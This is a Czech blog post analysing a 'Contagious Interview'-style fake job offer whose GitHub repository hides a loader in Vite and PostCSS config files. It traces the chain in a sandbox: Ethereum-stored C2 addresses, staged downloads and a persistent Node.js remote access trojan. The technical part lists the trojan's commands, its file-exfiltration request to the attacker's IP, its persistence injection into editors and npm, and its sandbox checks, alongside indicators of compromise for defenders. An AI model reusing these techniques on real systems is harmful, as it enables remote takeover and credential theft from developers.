<p>V tomhle bodě bylo jasné, že je to podvod. Ale zajímalo mě jaký.</p>
<p>Falešné pracovní nabídky mají několik různých konců. Někdy jde o klasický podvod s poplatkem předem. Někdy o získání osobních dat. A někdy je celý ten příběh jenom obal na to, aby dostali škodlivý kód na počítač oběti.</p>
<p>Zajímala mě celá cesta, ne to, že mi někdo lže o zaměstnavateli. Odpovědět na nabídku aby mě procesem provedli mě nic nestálo.</p>
<p>Zeptal jsem se na běžné věci. V jaké fázi projekt je, jak vypadá stávající tým, ve kterých oblastech potřebují pomoct, jestli jde o konzultace, infrastrukturu a bezpečnost, produktový vývoj nebo dlouhodobou roli.</p>
<p>Odpověď na většinu z nich nikdy nepřišla.</p>
<p>V pátek dorazilo PDF s přehledem projektu. V pondělí jsem napsal, že z toho širokého rozsahu jsou mé zkušenosti nejblíž infrastruktuře, bezpečnosti, backendové architektuře a deploymentu, a znovu se zeptal, co konkrétně by ode mě v téhle fázi chtěli, jestli mají tým a existující kód a jaký by byl další krok.</p>
<p>Přišlo tohle:</p>
<blockquote><p>Okay,<br />
That is what we want from you. This project&#8217;s normal hourly rate is around $100.</p></blockquote>
<p>Ta první věta neodpovídá na nic. Zbytek zprávy pokračoval tím, že frontend je hotový, ať se na něj podívám, a <strong>až potom</strong> si naplánujeme technickou schůzku o timeline a milestonech. A ať pošlu GitHub username.</p>
<p>Tak jsem si založil oddělený GitHub účet, vyplnil ho AI generovaným obsahem pro větší důvěryhodnost (LOL) a v úterý ráno jim ho poslal. Pozvánka do privátního repozitáře přišla o šest minut později.</p>
<p>Následující den odpoledne přišel follow-up:</p>
<blockquote><p>Did you get any chance to run and see the project?</p></blockquote>
<p>Tohle je na celé konverzaci nejvíc vypovídající věta. Za celou dobu se mě nikdo nezeptal na nic technického. Ani na názor na architekturu, ani co bych na tom frontendu změnil. Jediné, co je zajímalo, bylo, jestli jsem ho <strong>spustil</strong>.</p>
<h2><a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_pdf.png"><img decoding="async" class="alignright size-medium wp-image-7151" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_pdf-289x300.png" alt="" width="289" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_pdf-289x300.png 289w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_pdf-500x520.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_pdf.png 528w" sizes="(max-width: 289px) 100vw, 289px" /></a>Co v tom repozitáři bylo</h2>
<p>Jako první přišlo to PDF s přehledem projektu. Prověřil jsem, jestli v něm není aktivní obsah. Nebyl. Žádný JavaScript, žádné vložené soubory, žádné formuláře. PDF nebylo nosičem ničeho, jeho úkol byl vypadat jako materiál od skutečné firmy a poslat čtenáře k repozitáři. Splnilo ho dobře. Při rychlé kontrole je snadné poctivě ověřit dokument, dojít k závěru „je to čisté&#8220; a ten pocit pak přenést i na všechno ostatní, co přišlo s ním.</p>
<p>Repozitář hlásil 6 273 commitů. Nahoře jméno a fotka autora posledního commitu, pod tím kompletní struktura frontendu. Na první pohled projekt, na kterém někdo měsíce pracoval.</p>
<p>Ta historie byla ale ukradená. Patřila legitimnímu open source projektu a útočník na ni posadil jediný commit s hláškou „Refactoring codebse for speed&#8220;, který smazal přes čtyři tisíce souborů a nahradil je stovkou vlastních. Zůstala jen ta historie. Odpovídá tomu i to, že všechny soubory v repozitáři mají stejné datum poslední změny.</p>
<p>Má to jeden nepříjemný vedlejší efekt. GitHub páruje autora commitu podle e-mailové adresy, a ta v tom commitu patří skutečnému vývojáři původního projektu. Na stránce repozitáře se tedy zobrazuje účet a fotka existujícího člověka, který s tím nemá nic společného. Proto tady jeho jméno neuvádím.</p>
<p>Stojí za to říct, čí problém to vlastně je. Git ve svém návrhu autora commitu nijak neověřuje. Jméno a e-mail si do něj zapisuje ten, kdo commituje, a může tam napsat cokoli. Tak to funguje od začátku a souvisí to s tím, že Git je decentralizovaný a commituje se i bez připojení k serveru.</p>
<p>Co k tomu přidává GitHub, je zobrazení. Podle e-mailu k tomu commitu dopáruje účet, ukáže fotku a odkaz na profil, a nepodepsaný commit přitom ve výchozím nastavení nedostane žádné označení. Podvržený commit tedy vypadá úplně stejně jako pravý. GitHub navíc podvržení e-mailu v Gitu výslovně vylučuje ze své bug bounty s odůvodněním, že samo o sobě nedává útočníkovi přístup k repozitáři ani žádná další oprávnění. Technicky to sedí. Prakticky to znamená, že se cizí jméno a fotka dají zdarma použít jako důvěryhodnost, což je přesně to, co se stalo tady.</p>
<p>Obrana existuje, ale je dobrovolná a musíte si ji zapnout dopředu. V nastavení GitHubu jde skrýt vlastní e-mail a commitovat pod adresou ve tvaru <code>username@users.noreply.github.com</code>. Ta zůstává navázaná na váš účet, takže se vám commity dál normálně přiřazují, jen nikdo nezná adresu, kterou by mohl použít. Druhá věc je podepisování commitů klíčem a zapnutí takzvaného vigilant mode, po kterém se každý nepodepsaný commit s vaším jménem zobrazí jako neověřený.</p>
<p><a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_offer.png"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-7152" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_offer-300x246.png" alt="" width="300" height="246" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_offer-300x246.png 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_offer-500x411.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_offer.png 510w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a>Háček je v tom, že tohle chrání jen toho, kdo si to nastavil. Vývojáře, jehož jméno se objevilo v tom podvrženém commitu, by chránilo jen tehdy, kdyby si vigilant mode zapnul on sám.</p>
<p>Zbytek stránky už tak přesvědčivý nebyl. Nula hvězd, nula sledujících, nula forků, žádní přispěvatelé, žádný popis. A v kořeni commitnutý soubor <code>.env</code>. To nedělejte:)</p>
<h2><a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github.png"><img loading="lazy" decoding="async" class="alignright wp-image-7153 size-medium" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-251x300.png" alt="" width="251" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-251x300.png 251w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-855x1024.png 855w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-768x920.png 768w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-1283x1536.png 1283w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-500x599.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-800x958.png 800w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-1280x1533.png 1280w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github.png 1657w" sizes="auto, (max-width: 251px) 100vw, 251px" /></a>README.ai</h2>
<p>README v repozitáři je generická šablona. Uvítání, „How can I run this code?&#8220;, odkaz na instalaci Node.js přes nvm, čtyři kroky a seznam použitých technologií: Vite, TypeScript, React, shadcn-ui, Tailwind CSS.</p>
<p>Tenhle text není napsaný na míru. Odpovídá šabloně, kterou automaticky generuje AI nástroj na stavbu aplikací Lovable, včetně identického znění kroků a stejného seznamu technologií. Útočník z ní odmazal zmínky o samotném Lovable a sekci o Codespaces, zbytek nechal být.</p>
<p>Prakticky to znamená, že návnadu nikdo nepsal. Někdo si nechal vyklikat věrohodně vypadající krypto dashboard za pár minut, nasadil ho na cizí historii a poslal to dál. Náklady na výrobu obalu jsou dnes prakticky nulové, což je důvod, proč se takových nabídek dá rozeslat libovolné množství.</p>
<p>A pak je tu poslední řádek toho návodu:</p>
<pre><code># Step 4: Start the development server with auto-reloading and an instant preview.
npm run dev</code></pre>
<p>Tenhle příkaz spouští celý zbytek příběhu. Nemusel být nikde schovaný, protože projekt sám ho nabízí jako běžný a očekávaný krok. Kdokoli, kdo se na ten frontend chtěl podívat, ho udělal.</p>
<h2>Co se stalo, když jsem to spustil</h2>
<p>Nespouštěl jsem to samozřejmě na svém počítači. Postavil jsem si na to izolované &#8222;pískoviště&#8220;: jednorázový systém bez jediného skutečného hesla, klíče nebo peněženky, odříznutý od internetu a od hostitele, s vlastní bránou, která nahrávala všechen provoz a nepustila ven nic, co jsem předem nepovolil. Server útočníka jsem si nasměroval na sebe, takže si malware o všechno říkal mně, ne jemu. Když si nakonec řekl o svoji hlavní část, poslal jsem mu prázdnou odpověď. Tu poslední část si tedy stáhnout nestihl a nikdy se nespustila. Tím jsem viděl celý průběh, aniž bych někomu nechal běžet cizí program na skutečném stroji.</p>
<p>Pak jsem zadal to, co po mně chtěli.</p>
<pre><code>npm run dev</code></pre>
<p>Navenek se nestalo nic zvláštního. Dev server naběhl, na výstupu žádná chyba, dashboard by se za chvíli otevřel v prohlížeči. Kdybych u toho seděl jako uchazeč o práci nebo zakázku, prohlížel bych si UI a nic bych nepoznal.</p>
<p>Zatím se ale stalo tohle. Projekt se připojil na veřejný uzel sítě Ethereum, tedy na jednu z těch služeb, přes které se běžně čtou data z blockchainu, a přečetl si z něj jednu transakci. V ní byla zašifrovaná adresa serveru, kterou si z ní rozbalil. Na ten server si sáhl, stáhl si odtamtud další kus programu, spustil ho a ten si řekl o poslední, hlavní část.</p>
<p>Od zadání příkazu k tomuhle bodu uplynulo necelé tři desetiny sekundy.<br />
Za tu dobu nestihne ani Ital espresso.</p>
<h2>Co to bylo a co by to udělalo</h2>
<p>Ten poslední kus programu jsem si stáhl a rozebral, aniž bych ho pustil. Je to krysa. RAT. Ta zkratka se rozepisuje dvěma způsoby: remote administration tool, když jde o legitimní nástroj na správu vzdálených počítačů, a remote access trojan, když jde o to samé, jen bez vědomí majitele. Rozdíl není v kódu, ale v tom, jestli o něm majitel počítače ví.</p>
<p>Tenhle byl schovaný v konfiguračním souboru frontendu, takže to druhé. Je to program, který útočníkovi umožní ovládat cizí počítač na dálku, jako by u něj seděl.</p>
<p>Konkrétně tenhle umí:</p>
<ul>
<li>číst obsah schránky</li>
<li>spustit jakýkoli příkaz, který by na tom počítači mohl spustit jeho majitel</li>
<li>spustit jakýkoli další program, který mu útočník pošle</li>
<li>vzít libovolný soubor nebo celý adresář včetně podadresářů a nahrát ho na svůj server.</li>
</ul>
<p>Podstatné je to poslední. Není to program s pevným seznamem cílů, kterému byste utekli tím, že si peněženku uložíte jinam. Je to vzdálený přístup. Útočník se připojí, rozhlédne se a rozhodne se na místě, co ho zajímá.</p>
<p>Prakticky to znamená, že si může vzít cokoli, na co dosáhne účet, pod kterým je ten projekt spuštěný. Přístupové klíče k serverům, přihlášení do Gitu a do cloudu, konfigurační soubory s hesly, uložené přihlašovací údaje z prohlížeče, soubory peněženek, data ze správce hesel, zdrojové kódy, dokumenty. A obsah schránky, což je mimochodem ten okamžik, kdy se vyplatí, že si člověk občas kopíruje seed frázi nebo heslo.</p>
<p>Na běžném pracovním notebooku vývojáře je tohohle materiálu obvykle dost.</p>
<p>Tohle všechno ale dělá na povel. Je tu ještě jedna věc, kterou udělá sám od sebe hned po spuštění, a ta je z celého rozboru nejdůležitější.</p>
<h2>Smazat repozitář nestačí</h2>
<p>Zhruba sekundu po spuštění si ten program najde nainstalované vývojářské aplikace a vloží se do nich. Do VS Code, do Cursoru, do Antigravity, do Discordu, do GitHub Desktopu a do npm.</p>
<p>Zapíše se přímo do jejich souborů, odsazený asi dvěma sty mezerami, takže když ten soubor někdo otevře v editoru, kód je schovaný daleko za pravým okrajem obrazovky a při běžném procházení ho neuvidí.</p>
<p>Důsledek: člověk spustí takový projekt, za chvíli si řekne, že to byla hloupost, smaže repozitář a jde spát. A infekce mu zůstane. Sedí v editoru a v npm a spustí se, až je zase normálně použije.</p>
<p>Smazání složky s projektem tenhle problém neřeší.</p>
<h2>Kde končí to, co jsem viděl</h2>
<p>Všechno výše jsem buď pozoroval při běhu, nebo si to přečetl přímo v kódu toho programu. Že je v repozitáři schovaný škodlivý kód, že ho spustí <code>npm run dev</code>, že si přes blockchain najde server útočníka, stáhne a spustí odtamtud další kód, a že tím posledním kusem je nástroj pro vzdálený přístup, který se sám zabydlí ve vývojářských aplikacích.</p>
<p>Co jsem neviděl: skutečného útočníka při práci. Můj testovací systém neobsahoval žádná reálná data, takže se nikdy nic neukradlo, a nevím, jestli u nějaké opravdové infekce vůbec někdo zadával příkazy. Nemám ani druhou, paralelní větev toho řetězce. Server mi na ni přestal odpovídat dřív, než jsem ji stihl stáhnout.</p>
<p>Takže ne, nemůžu napsat, že mi vybílili peněženku. Můžu napsat, že by mohli.</p>
<p>Způsob oslovení, celá struktura řetězce i použité markery odpovídají tomu, co se veřejně popisuje pod názvy Contagious Interview a DEV#POPPER. Není to nic nového. Jen to dobře funguje.</p>
<h2>Co dělat, když jste něco takového spustili</h2>
<p>Odpojte stroj od sítě, ať se k němu útočník nemůže připojit.</p>
<p>Pak prohledejte soubory nainstalovaných vývojářských aplikací a npm na markery <code>/*RS260605*/</code> a <code>/*C260521A*/</code>. Konkrétní cesty a starší varianty markerů jsou v technické části níže. Grep je najde spolehlivě, očima je nenajdete, protože jsou odsazené daleko za pravý okraj.</p>
<p>Když je najdete, máte jistotu. Když je nenajdete, jistotu nemáte. Tenhle vzorek je jedna konkrétní verze jedné konkrétní kampaně a další už můžou vypadat jinak. Proto, pokud jde o stroj, na kterém máte skutečné přístupy, je jediná spolehlivá odpověď čistá reinstalace. Čištění podle indikátorů je dobré na to, abyste věděli, co se stalo, ne na to, abyste se cítili bezpečně.</p>
<p>A pak to, co lidi odkládají nejčastěji: všechno, na co ten účet dosáhl, berte jako kompromitované. Klíče, tokeny, API klíče, obsah konfiguračních souborů, přihlašovací údaje v prohlížeči. Rotovat, ne doufat. Pokud jste na tom stroji měli kryptopeněženku, přesouvejte prostředky z nového čistého zařízení, se seedem vygenerovaným na něm, ne na tom napadeném.</p>
<h2>Co si z toho odnést</h2>
<ol>
<li>Tvrzení o pozici ve velké firmě je skoro vždy dohledatelné. Představenstva veřejných společností jsou zveřejněná a kontrola trvá dvě minuty.</li>
<li>Když se vám nechce hledat, hoďte celou nabídku i s profilem do libovolného AI nástroje s přístupem na web a nechte si ji projít. Není to neprůstřelné a nemá to být jediný filtr, ale rozpory typu „tvrdí pozici, kterou veřejný zdroj nepotvrzuje&#8220; takhle odhalíte za pár vteřin.</li>
<li>Ověřený profil na LinkedIn neověřuje, co je v profilu napsané.</li>
<li>Když protistrana neodpoví na věcné otázky o týmu a rozsahu, ale odpoví obratem na všechno, co posouvá ke spuštění kódu, je to signál sám o sobě.</li>
<li>Pozvánka do privátního repozitáře není důkaz legitimity.</li>
<li>Dlouhá a věrohodná historie Gitu se dá zkopírovat z cizího projektu. Počet commitů nedokazuje nic.</li>
<li>Přesvědčivě vypadající frontend je dnes otázka pár minut v AI builderu. Vzhled projektu nevypovídá o tom, kdo za ním stojí.</li>
<li>Repozitář může být škodlivý, i když v něm nejsou žádné instalační skripty. Konfigurační soubory frontendových nástrojů jsou spustitelný kód.</li>
<li>Vzdálený přístup je obecnější než seznam cílů. Nechrání vás to, že si dáte peněženku jinam.</li>
<li>Smazání naklonovaného repozitáře nemusí odstranit to, co se mezitím vložilo do editoru a do npm.</li>
<li>Cizí kód se spouští v jednorázovém prostředí bez přístupu k vlastním datům a bez volného internetu. Snapshot virtuálu není bezpečnostní hranice.</li>
<li>Lákavá nabídka, tlak na rychlost a úkol „jen si to spusť&#8220; dohromady nejsou náhoda. Je to schéma, které se opakuje.</li>
</ol>
<p>Poslední bod nemá s technikou nic společného. Přesně tenhle typ nabídky přijde vývojářům, kteří mají veřejný profil, viditelné repozitáře a zájem o kryptoměny. Útočník si oběť nevybírá náhodně, vybírá si ji z veřejně dostupných informací.</p>
<h2>P.S.</h2>
<p>Poslal jsem Aaronovi link na tenhle článek. Poděkoval. Asi to nepochopil.<br />
<a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_final.png"><img loading="lazy" decoding="async" class="size-vp_sm wp-image-7165 alignnone" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_final-500x652.png" alt="" width="500" height="652" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_final-500x652.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_final-230x300.png 230w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_final.png 528w" sizes="auto, (max-width: 500px) 100vw, 500px" /></a></p>
<hr />
<h2>Technický rozbor</h2>
<p>Odsud dál je to pro ty, koho zajímá, jak přesně to funguje, nebo kdo si potřebuje ověřit vlastní stroj. Příběh výše by měl dávat smysl i bez téhle části.</p>
<p>Ještě poznámka k metodě. Rozbalování obfuskovaného kódu jsem si výrazně zkrátil pomocí AI. Mým cílem nebylo reverzovat cizí JavaScript od nuly, ale zmapovat celý proces, kterým tahle skupina pracuje, od prvního kontaktu na LinkedIn až po persistenci. Všechny konkrétní hodnoty níže, hashe, cesty i příkazy, jsem si zpětně ověřil ve vzorku.</p>
<h3>Lab</h3>
<p>Řízené spuštění vzorku neproběhlo na pracovním stroji ani ve snapshotu produkčního systému. Snapshot je nástroj na rollback, ne bezpečnostní hranice.</p>
<pre><code>Arch Linux host
├── REMnux VM: brána, odposlech, packet capture, replay C2
└── Debian 13 VM: jednorázová oběť</code></pre>
<p>REMnux dělal oběti bránu, držel lokálně skutečnou IP adresu C2 serveru, vracel zachycené fáze malwaru, filtroval odchozí provoz a nahrával pakety. Provoz na známé C2 tak nikdy neopustil laboratoř.</p>
<p>Oběť běžela jako neprivilegovaný uživatel bez <code>sudo</code>. Během běhu malwaru nebyla ve virtuálu žádná sdílená složka, žádný GitHub token, žádné forwardování SSH agenta, žádné USB, vypnutá sdílená schránka i drag and drop. Odchozí provoz byl povolený jen na TCP 443 vůči aktuálním IP adresám povolených Ethereum RPC služeb, všechno ostatní se zahazovalo. Před spuštěním jsem si ověřil, že běžný přístup na internet z oběti selže.</p>
<p>Závislosti jsem instaloval přes <code>npm install --ignore-scripts</code>. Ne proto, že by to stačilo, ale abych oddělil, co se spouští při instalaci a co při dev příkazu.</p>
<p>Skutečné odpovědi z <code>/init</code> a <code>/0/body</code> jsem si stáhl už předtím, samostatně a bez spuštění. Věděl jsem tedy, že na konci řetězce něco takového čeká, i jak je to velké. Chtěl jsem, aby loader i obě navazující fáze normálně proběhly a nechaly po sobě stopy v procesech a v provozu, ale aby se poslední článek nespustil. Proto odpovědi na ty dva požadavky vracela brána prázdné:</p>
<pre><code>/init    → {"_B":""}
/0/body  → prázdná odpověď</code></pre>
<p>Loader i obě navazující fáze díky tomu proběhly a nechaly po sobě stopy. Finální payload při spuštění neproběhl. Skutečnou odpověď z <code>/init</code> jsem si předtím stáhl jako neaktivní data a rozebral ji staticky, bez spuštění.</p>
<h3>Kde byl škodlivý kód</h3>
<p><code>package.json</code> byl čistý. Žádný <code>preinstall</code>, <code>install</code>, <code>postinstall</code> ani <code>prepare</code>. Jenom obvyklé <code>dev</code>, <code>build</code>, <code>lint</code>, <code>preview</code>.</p>
<p>Běžná rada „instaluj s <code>--ignore-scripts</code>&#8220; by tady tedy nepomohla. Malware nepotřeboval instalaci.</p>
<p>Stejný obfuskovaný loader byl přilepený na konec dvou konfiguračních souborů:</p>
<pre><code>vite.config.ts
postcss.config.js</code></pre>
<p>Loader měl 5 131 bajtů, SHA-256:</p>
<pre><code>ed6c0476c62bc21c981b95861677bf14eeeaba57ac071c860d0e599ecbf6156c</code></pre>
<p>Duplikace ve dvou souborech znamená, že se řetězec spustí, ať už vývojář sáhne po dev serveru nebo po buildu.</p>
<h3>C2 uložený v Ethereu</h3>
<p>Loader se ptal veřejných Ethereum JSON-RPC endpointů: <code>eth.drpc.org</code> a <code>eth-mainnet.public.blastapi.io</code> (plus jeden zjevně nepoužitelný, <code>ethereum-rpc.publicnode.com1</code>).</p>
<p>Hledal aktivitu spojenou s markerem <code>33ff3edaf55a8e03dcbc7cb40d498a49</code>. Konkrétní transakce:</p>
<pre><code>Blok:       25688067
Tx:         0x1ee850dfe646976e3783dcd1db11282316234cf46efc62b218557e9bef2670a3
Odesílatel: 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891
Příjemce:   0x171b14bb01bb171b14bb0050eb7f39c35c47e682</code></pre>
<p>Nosičem informace není vstupní pole transakce, ale adresa příjemce:</p>
<pre><code>0x 171b14bb 01bb 171b14bb 0050 eb7f39c35c47e682
   |        |    |        |    |
   |        |    |        |    výplň do 20 bajtů
   |        |    |        port 80
   |        |    23.27.20.187
   |        port 443
   23.27.20.187</code></pre>
<p>Žádná kryptografie, prostě čísla zapsaná šestnáctkově. Kdo si to nechce počítat ručně, může si to zkopírovat do souboru a spustit v Pythonu. Nic to nestahuje, nikam se nepřipojuje a nesahá to na soubory:</p>
<pre><code>adresa = "0x171b14bb01bb171b14bb0050eb7f39c35c47e682"

b = bytes.fromhex(adresa.replace("0x", ""))
for i in (0, 6):
    ip = ".".join(str(x) for x in b[i:i + 4])
    port = b[i + 4] * 256 + b[i + 5]
    print("http://" + ip + ":" + str(port))</code></pre>
<p>Rotace infrastruktury tedy znamená jen odeslat další transakci na jinak poskládanou adresu.</p>
<p>Dekódovaný výsledek:</p>
<pre><code>http://23.27.20.187:443/boot
http://23.27.20.187:80/0/boot</code></pre>
<p>Přestože jeden z portů je 443, komunikace probíhala nešifrovaně přes prosté HTTP. Port 443 negarantuje TLS. Garantuje port 443.</p>
<h3>Přesný průběh spuštění</h3>
<p>Proces začal normálně: <code>bash</code> → <code>npm run dev</code> → Vite → esbuild. Souběžně:</p>
<ol>
<li>spojení na Ethereum RPC a odvození adresy C2;</li>
<li>spojení na <code>23.27.20.187</code> na portech 443 a 80;</li>
<li>stažení dvou různých obfuskovaných JavaScriptových fází;</li>
<li>jejich spuštění přes <code>node -e</code> v samostatných procesech;</li>
<li>požadavky na finální payloady z <code>/init</code> a <code>/0/body</code>.</li>
</ol>
<p>Celý řetězec od startu k požadavku na finální payload trval necelé tři desetiny sekundy. V hlavičkách chodil marker, kterým se oběť identifikovala:</p>
<pre><code>X: 33ff3edaf55a8e03dcbc7cb40d498a49:*8-0</code></pre>
<h3>Rozbor finálního payloadu</h3>
<p>Zachycená odpověď z <code>/init</code> má 166 703 bajtů a čtyři pole. <code>_U</code> je základní adresa serveru, <code>_H</code> je kopie první fáze, <code>_B</code> je hlavní payload a <code>_Z</code> je tělo používané k persistenci.</p>
<p>Hlavní payload byl zabalený v konstruktoru <code>Function</code> s jedním generovaným tělem o 73 649 znacích. Hledání klíčových slov v něm nenajde nic. Rozbalil jsem ho tak, že jsem v izolovaném kontextu vyhodnotil jen dekodér řetězců a operační část nechal být. Tím se odkrylo 343 indexovaných řetězců a s nimi celá logika příkazů a persistence.</p>
<p>Je to cross-platform Node.js RAT. Verze:</p>
<pre><code>260804</code></pre>
<p>Ta čísla vypadají jako datum ve formátu RRMMDD, tedy 4. srpna 2026, den předtím, než jsem vzorek spustil. Stejný vzor mají i markery používané k persistenci (<code>RS260605</code>, <code>C260521A</code>) a starší varianty z roku 2025. Je to pozorování, ne potvrzený fakt, ale sedí to na sebe.</p>
<p>Po připojení se serveru ohlásí. Pošle ID relace, ID procesu, typ operačního systému, verzi, označení kampaně a časy první a aktuální návštěvy. Komunikace jede přes Socket.IO na <code>http://23.27.20.187:443</code>, opět nešifrovaně, s pokusem o znovupřipojení každých pět sekund.</p>
<h3>Seznam příkazů</h3>
<table>
<thead>
<tr>
<th>Příkaz</th>
<th>Co dělá</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>ss_info</code></td>
<td>vrátí verzi, ID relace, údaje o OS, adresy C2, cesty k Node, cestu, ze které byl spuštěný, a časové značky</td>
</tr>
<tr>
<td><code>ss_ip</code></td>
<td>zjistí veřejnou IP oběti přes <code>ip-api.com</code></td>
</tr>
<tr>
<td><code>ss_cb</code></td>
<td>přečte a odešle obsah schránky</td>
</tr>
<tr>
<td><code>ss_upf:&lt;soubor&gt;,&lt;cíl&gt;</code></td>
<td>nahraje jeden vybraný soubor</td>
</tr>
<tr>
<td><code>ss_upd:&lt;adresář&gt;,&lt;cíl&gt;</code></td>
<td>rekurzivně projde adresář a nahraje z něj všechny soubory</td>
</tr>
<tr>
<td><code>ss_dir</code>, <code>ss_fcd:&lt;cesta&gt;</code> a <code>cd</code></td>
<td>práce s pracovním adresářem</td>
</tr>
<tr>
<td><code>ss_stop</code></td>
<td>zastaví probíhající nahrávání</td>
</tr>
<tr>
<td><code>ss_inz:&lt;cesta&gt;</code></td>
<td>vloží persistentní kód do vybraného souboru</td>
</tr>
<tr>
<td><code>ss_inzx:&lt;cesta&gt;</code></td>
<td>naopak ho z vybraného souboru odstraní</td>
</tr>
<tr>
<td><code>ss_connect:&lt;host&gt;</code></td>
<td>přepne se na jiný server zadaný operátorem</td>
</tr>
<tr>
<td><code>ss_eval:&lt;kód&gt;</code></td>
<td>spustí libovolný JavaScript</td>
</tr>
<tr>
<td><code>ss_eval64:&lt;base64&gt;</code></td>
<td>totéž, jen zakódované</td>
</tr>
<tr>
<td><code>ss_exit</code> a <code>ss_exit_f</code></td>
<td>ukončí proces</td>
</tr>
<tr>
<td>cokoli jiného</td>
<td>spustí to jako příkaz shellu</td>
</tr>
<tr>
<td>text začínající <code>*</code></td>
<td>spustí libovolný program na pozadí s parametry od útočníka</td>
</tr>
</tbody>
</table>
<h3>Formát exfiltrace</h3>
<pre><code>POST http://23.27.20.187/u/f
Content-Type: multipart/form-data

client_id = &lt;hostname&gt;$&lt;uživatelské jméno&gt;
path      = &lt;cíl zvolený operátorem&gt;
soubor    = pod jménem lokálního souboru</code></pre>
<p>Při rekurzivním nahrávání projde vybraný adresář přes <code>readdirSync</code> a <code>statSync</code>, spočítá u každého souboru relativní cestu a nahrává je po jednom tak, aby na straně útočníka zůstala zachovaná struktura.</p>
<p>I bez jediného příkazu odesílá payload sám od sebe metadata o stroji a relaci přes Socket.IO a telemetrii o stavu persistence na:</p>
<pre><code>POST http://23.27.20.187/verify-human/&lt;označení kampaně&gt;</code></pre>
<p>Ze schránky čte podle systému přes <code>Get-Clipboard</code>, <code>pbpaste</code> nebo <code>xclip</code>.</p>
<h3>Cesty persistence</h3>
<p>Zhruba sekundu po startu payload hledá JavaScriptové vstupní body běžných vývojářských aplikací a npm:</p>
<pre><code>VS Code          resources/app/node_modules/@vscode/deviceid/dist/index.js
Cursor           resources/app/node_modules/@vscode/deviceid/dist/index.js
Antigravity      resources/app/node_modules/@vscode/deviceid/dist/index.js
Discord          discord_desktop_core/index.js
GitHub Desktop   resources/app/main.js
npm CLI          node_modules/npm/lib/cli.js</code></pre>
<p>Cesty jsou definované zvlášť pro Windows, macOS i Linux.</p>
<p>Injektáž odstraní starší rozpoznané bloky, přidá asi dvě stě mezer a za ně vloží:</p>
<pre><code>/*C260521A*/
global['e']='&lt;označení cíle&gt;';
global.i='*8-0';
/* tělo persistence začínající /*RS260605*/ */</code></pre>
<p>Označení cílů:</p>
<pre><code>app-vscode-eval
app-cursor-eval
app-antigravity-eval
app-discord-eval
app-GitHubDesktop-eval
NPM</code></pre>
<p>Payload si navíc doinstalovává vlastní závislosti (<code>axios</code>, <code>socket.io-client</code>, <code>form-data</code>) do <code>~/.node_modules</code> nebo <code>~/.node_module</code> a zakládá si značku první návštěvy:</p>
<pre><code>Linux/macOS: /tmp/.&lt;base64 uživatelského jména&gt;
Windows:     %LOCALAPPDATA%Temp&lt;base64 uživatelského jména&gt;</code></pre>
<h3>Kontroly prostředí</h3>
<p>Vzorek si testuje prostředí a při shodě se chová jinak. Sleduje proměnnou prostředí <code>jsbot</code>, uživatelská jména <code>github-runner</code> a <code>buildbot</code> a hostnamy jako <code>build-*</code>, <code>sandbox-pool-*</code>, <code>buildkitsandbox</code>, <code>cloudchamber</code>, <code>nijin-lab</code> a dvě konkrétní <code>EV-</code> jména.</p>
<p>Praktický důsledek pro analytiky: nepojmenovávat virtuálku podle toho, k čemu slouží.</p>
<h3>Druhá větev</h3>
<p>Sekundární loader z <code>/0/boot</code> si žádá o <code>/0/body</code>, dekóduje ho XORem klíčem <code>YU7m{rE/&gt;|==b&gt;#~</code> a vyhodnotí. Zkoušel jsem si tělo stáhnout v 15:58 UTC a server už neodpovídal ani na jednom portu. Někdy mezi detonací a tímhle pokusem infrastruktura přestala odpovídat.</p>
<h3>Indikátory kompromitace</h3>
<p><strong>Repozitář a commit</strong></p>
<pre><code>Repozitář: gitcomp88/AICryptoTrader
HEAD:      319dbc61b24e1655ff61bd604b8aee3aa1ca0941
Rodič:     b7abbbb6c6f13ced564fd31c74a6396f3e438405
Zpráva:    Refactoring codebse for speed</code></pre>
<p><strong>Účty na straně útočníka</strong></p>
<pre><code>gitcomp88
gitforcpc903</code></pre>
<p>Jde o indikátory z vyšetřování, ne o důkaz totožnosti.</p>
<p><strong>Škodlivé soubory v repozitáři</strong></p>
<pre><code>vite.config.ts
postcss.config.js</code></pre>
<p><strong>Síť</strong></p>
<pre><code>23.27.20.187
http://23.27.20.187:443        Socket.IO řídicí kanál
/boot  /init  /0/boot  /0/body
/u/f                            nahrávání ukradených souborů
/verify-human/&lt;kampaň&gt;          telemetrie</code></pre>
<p><strong>Markery</strong></p>
<pre><code>33ff3edaf55a8e03dcbc7cb40d498a49    identifikace kampaně
*8-0                                označení buildu
/*RS260605*/                        tělo persistence
